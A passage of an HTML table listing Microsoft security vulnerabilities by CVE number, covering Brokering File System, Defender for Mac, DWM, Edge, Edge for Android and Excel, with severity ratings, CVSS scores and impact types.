  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-49162"><span>CVE-2026-49162</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50305"><span>CVE-2026-50305</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50361"><span>CVE-2026-50361</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50466"><span>CVE-2026-50466</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50458"><span>CVE-2026-50458</span></a></td>
  <td width="256" class="xl74">Microsoft Brokering
  File System Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50658"><span>CVE-2026-50658</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl67" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56178"><span>CVE-2026-56178</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50657"><span>CVE-2026-50657</span></a></td>
  <td width="256" class="xl74">Microsoft Defender for
  Endpoint for Mac Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">4.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50329"><span>CVE-2026-50329</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58541"><span>CVE-2026-58541</span></a></td>
  <td width="256" class="xl74">Microsoft DWM Core
  Library Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58596"><span>CVE-2026-58596</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Elevation of Privilege Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57991"><span>CVE-2026-57991</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58291"><span>CVE-2026-58291</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57981"><span>CVE-2026-57981</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57984"><span>CVE-2026-57984</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57985"><span>CVE-2026-57985</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57986"><span>CVE-2026-57986</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57988"><span>CVE-2026-57988</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57992"><span>CVE-2026-57992</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58276"><span>CVE-2026-58276</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56645"><span>CVE-2026-56645</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57974"><span>CVE-2026-57974</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57975"><span>CVE-2026-57975</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58281"><span>CVE-2026-58281</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58284"><span>CVE-2026-58284</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58285"><span>CVE-2026-58285</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58287"><span>CVE-2026-58287</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58288"><span>CVE-2026-58288</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58289"><span>CVE-2026-58289</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">9</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58290"><span>CVE-2026-58290</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58292"><span>CVE-2026-58292</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58293"><span>CVE-2026-58293</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58294"><span>CVE-2026-58294</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57983"><span>CVE-2026-57983</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.7</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58295"><span>CVE-2026-58295</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.3</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58525"><span>CVE-2026-58525</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57987"><span>CVE-2026-57987</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58278"><span>CVE-2026-58278</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-56646"><span>CVE-2026-56646</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57977"><span>CVE-2026-57977</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-57993"><span>CVE-2026-57993</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58282"><span>CVE-2026-58282</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58283"><span>CVE-2026-58283</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58286"><span>CVE-2026-58286</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">8.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58298"><span>CVE-2026-58298</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58524"><span>CVE-2026-58524</span></a></td>
  <td width="256" class="xl74">Microsoft Edge
  (Chromium-based) Spoofing Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.4</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Spoofing</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58296"><span>CVE-2026-58296</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58297"><span>CVE-2026-58297</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58300"><span>CVE-2026-58300</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.2</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58522"><span>CVE-2026-58522</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58299"><span>CVE-2026-58299</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Remote Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58523"><span>CVE-2026-58523</span></a></td>
  <td width="256" class="xl74">Microsoft Edge for
  Android Security Feature Bypass Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">SFB</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50678"><span>CVE-2026-50678</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.6</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-54988"><span>CVE-2026-54988</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-48580"><span>CVE-2026-48580</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50408"><span>CVE-2026-50408</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55046"><span>CVE-2026-55046</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55138"><span>CVE-2026-55138</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">5.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55054"><span>CVE-2026-55054</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.5</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55122"><span>CVE-2026-55122</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55898"><span>CVE-2026-55898</span></a></td>
  <td width="256" class="xl74">Microsoft Excel
  Information Disclosure Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">6.1</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-50675"><span>CVE-2026-50675</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55899"><span>CVE-2026-55899</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55948"><span>CVE-2026-55948</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-58618"><span>CVE-2026-58618</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47642"><span>CVE-2026-47642</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55024"><span>CVE-2026-55024</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55025"><span>CVE-2026-55025</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55031"><span>CVE-2026-55031</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55048"><span>CVE-2026-55048</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55029"><span>CVE-2026-55029</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-55039"><span>CVE-2026-55039</span></a></td>
  <td width="256" class="xl74">Microsoft Excel Remote
  Code Execution Vulnerability</td>
  <td class="xl68">Important</td>
  <td class="xl69">7.8</td>
  <td class="xl69">No</td>
  <td class="xl69">No</td>
  <td class="xl69">RCE</td>
 </tr>
 <tr height="47">
